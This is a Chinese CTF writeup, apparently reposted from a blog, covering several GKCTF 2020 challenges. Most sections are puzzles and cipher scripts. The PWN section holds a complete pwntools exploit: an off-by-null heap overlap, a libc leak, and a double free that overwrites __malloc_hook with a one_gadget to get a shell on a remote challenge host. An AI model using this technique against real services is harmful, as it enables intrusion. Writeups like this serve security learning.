GKCTF 2020 部分writeup

RE

Check_1n

在程序中找到登录密码
在这里插入图片描述
flag选项结果base64解码如下

在这里插入图片描述
选第二个,什么都不做,结束就有flag

在这里插入图片描述

Misc

签到

flag就在屏幕上:flag{Welcome_To_GKCTF_2020}

Pokémon

根据开始能选择的精灵,判断出是绿宝石493
下载个通关存档,走到103号道路,就能看见flag:
在这里插入图片描述
flag为:flag{PokEmon_14_CutE}

Harley Quinn

打开压缩包,发现一个一串字符:FreeFileCamouflage
在这里插入图片描述
用AU打开,在最后发现一段dtmf
在这里插入图片描述
对比得到:#222833344477773338866#
该题使用了手机键盘加密方式,原理如下:
在这里插入图片描述
但是直接解的话,28肯定就不对了,又从每个数字的次数着手:
比如222,记为23
8,记为81
得到密码:ctfisfun
根据最开始的提示,用该软件1.25版本提取出flag,这里好像还要把图片后缀改为jpg,不然不能识别
在这里插入图片描述
在这里插入图片描述

code obfuscation

binwalk -e提取出压缩包:
在这里插入图片描述
之后修复二维码
首先,用ppt把断开的图片拼起来,调整一下大小,用微信扫出base(gkctf)
在这里插入图片描述
尝试各种base,最后base58成功
在这里插入图片描述
把1中的js代码扔进console执行,结果如下

在这里插入图片描述

刚刚看了官方WP,说这个是js混淆,提供了一个网站解密:JS混淆加密压缩
结果如下

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
    done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
    done
    num = 0
for n in a b c d e f g h i j do eval Bn = "n"
    num =
    $((num + 1)) done alert("Bk=' ';Bm='"
        ';Bn='#
        ';Bs=' (';Bt=')
        ';By='.
        ';Cb=';
        ';Cc=' < ';Ce=' > ';Cl='
        _ ';Cn=' {
            ';Cp='
        }
        ';Da='
        0 ';Db='
        1 ';Dc='
        2 ';Dd='
        3 ';De='
        4 ';Df='
        5 ';Dg='
        6 ';Dh='
        7 ';Di='
        8 ';Dj='
        9 ';")

得到了图片中字符的对应关系,映射一下,得到一个C程序

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An="n"done for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An="n"done num=0 for n in a b c d e f g h i j do eval Bn="n"num=$((num+1))done alert("Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")
Bn Ai An Ac Al Au Ad Ae Bk Cc As At Ad Ai Ao By Ah Ce
Ai An At Bk Am Aa Ai Bs Bt Cn
Ap Ar Ai An At Bs Bm Aw Dd Al Ac Da Am Ae Cl De Ao Cl Dj Ak Ac At Df Bm Bt Cb
Ar Ae At Au Ar An Bk Da Cb 
Cp

Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';

#include <stdio.h>
int ai(){
print("w3lc0me_4o_9kct5");
return 0;
}

因此flag为:flag{w3lc0me_4o_9kct5}

Crypto

小学生的密码学

根据题目%26猜测范围是a-z,写个脚本爆破

import string
import base64

ans = 'welcylk'
table = 'abcdefghijklmnopqrstuvwxyz'
flag = ''
for pos in range(len(ans)):
    for i in range(len(table)):
        tmp = (11*i+6)%26
        t_ans = table[tmp]
        if t_ans == ans[pos]:
            flag += table[i]
            break

print(flag)
print(base64.b64encode(flag.encode()))

在这里插入图片描述

汉字的秘密

当铺密码,每个汉字对应的数字如下
在这里插入图片描述
脚本解密,得到字符串:EJ>CvSHMV7G9R9@?3k
猜测开头为FLAG,而前四个的差分别为1,2,3,4
猜测解密结果要加上位置
最终脚本

s = [69, 74, 62, 67, 118, 83, 72, 77, 86, 55, 71, 57, 82, 57, 64, 63, 51, 107]
ans = ''
for i in range(len(s)):
	ans += chr(s[i]+1+i)
	print i, chr(s[i]+1+i)

print ans
print ans.lower()

在这里插入图片描述

PWN

Domo

在这里插入图片描述
add处有off-by-null
在这里插入图片描述
并且add和delete都有check,如果写了hook就无法执行了
在这里插入图片描述
退出循环会开启沙箱
在这里插入图片描述
在这里插入图片描述

这题比赛时候还真的没思路,就知道off-by-null块重叠之后泄露libc+double free改__malloc_hook,但是之后就不知道怎么弄了,后面在群里看到有师傅说scanf输入长度过长会触发malloc,突然就恍然大悟,下面是Exp

from pwn import *

r = remote("node3.buuoj.cn", 27130)
#r = process("./domo/domo")

context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./domo/domo")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]


menu = "> "
def add(size1, content1):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("size:\n")
	r.sendline(str(size1))
	r.recvuntil("content:\n")
	r.send(content1)


def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("index:\n")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("addr:\n")
	r.sendline(str(index))
	r.recvuntil("num:\n")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("index:\n")
	r.sendline(str(index))


add(0xf0, 'chunk0')
add(0x60, 'chunk1')
add(0xf0, 'chunk2')
add(0x10, 'chunk3')
delete(1)
delete(0)
add(0x68, 'a'*0x60+p64(0x170))#0
delete(2)
add(0xf0, 'aa')#1
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("malloc_hook:"+hex(malloc_hook))
one_gadget = libc.address + one_gadget_16[3]

add(0x60, 'aa')#2
add(0x60, 'aa')#4
delete(0)
delete(4)
delete(2)
add(0x60, p64(malloc_hook-0x23))#0
add(0x60, p64(malloc_hook-0x23))#2
add(0x60, p64(malloc_hook-0x23))#4
payload = 'a'*0x13 + p64(one_gadget)
add(0x60, payload)

r.recvuntil(menu)
r.sendline('2'*0x1001)
r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/106310483